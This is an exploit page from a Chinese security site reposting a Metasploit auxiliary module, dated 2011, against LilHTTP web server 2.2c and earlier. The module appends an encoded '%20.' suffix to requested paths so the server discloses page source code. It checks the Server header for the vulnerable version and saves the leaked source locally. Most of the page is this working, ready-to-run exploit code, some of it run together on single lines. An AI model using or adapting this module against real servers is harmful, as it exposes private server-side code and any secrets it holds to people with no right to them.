首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
LilHTTP Source Code Disclosure/Download
来源:http://treasuresec.com 作者:Treasure 发布时间:2011-05-30  
##
# $Id: lilhttp_source_disclosure.rb 12196 2011-05-27 00:51:33Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::Report
	include Msf::Auxiliary::Scanner

	def initialize
		super(
			'Name'           => 'LilHTTP Source Code Disclosure/Download',
			'Description'    => %q{
					This module exploits a source code disclosure/download vulnerability in
				versions 2.2c and prior of LilHTTP.
			},
			'Version'        => '$Revision: 12196 
, 'References' => [ [ 'URL', 'http://www.summitcn.com/lilhttp/lildocs.html' ] ], 'Author' => [ 'Treasure Priyamal', 'http://treasuresec.com', 'treasure[at]treasuresec.com' ], 'License' => MSF_LICENSE) register_options( [ OptString.new('URI', [true, 'Specify the path to download the file (ex: admin.php)', '/index.html']), OptString.new('PATH_SAVE', [true, 'The path to save the downloaded source code', '/home/zero']), ], self.class) end def target_url "http://#{vhost}:#{rport}#{datastore['URI']}" end def run_host(ip) uri = datastore['URI'] path_save = datastore['PATH_SAVE'] vuln_versions = [ "LilHTTP/2.2c" # Only Tested on 2.2c version might work on others versions too ] disclosure = "%20." begin res = send_request_raw({ 'method' => 'GET', 'uri' => "/#{uri}#{disclosure}", }, 25) version = res.headers['Server'] if res if vuln_versions.include?(version) print_good("#{target_url} - LilHTTP - Vulnerable version: #{version}") if (res and res.code == 200) print_good("#{target_url} - LilHTTP - Getting the source of page #{uri}") save_source = File.new("#{path_save}#{uri}","w") save_source.puts(res.body.to_s) save_source.close print_status("#{target_url} - LilHTTP - File successfully saved: #{path_save}#{uri}") if (File.exists?("#{path_save}#{uri}")) else print_error("http://#{vhost}:#{rport} - LilHTTP - Unrecognized #{res.code} response") return end else if version =~ /LilHTTP/ print_error("#{target_url} - LilHTTP - Cannot exploit: the remote server is not vulnerable - Version #{version}") else print_error("#{target_url} - LilHTTP - Cannot exploit: the remote server is not LilHTTP") end return end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE end end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Trojan Nova Lite v2.6 Access V
·WysGui <= 2.3 (FCKeditor) File
·Bitweaver 2.x (FCKeditor) File
·LostDoor v6 Remote Denial Of S
·Easy Media Script SQL Injectio
·51 bytes FreeBSD/x86 encrypted
·Apocalypse Remote Administrati
·FreeBSD/x86 - Execve ('/bin/sh
·Poison Ivy 2.3.2 (Latest versi
·iPhone4 FTP Server V1.0 - Empt
·HP Data Protector Client EXEC_
·7-Technologies IGSS 9 Data Ser
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved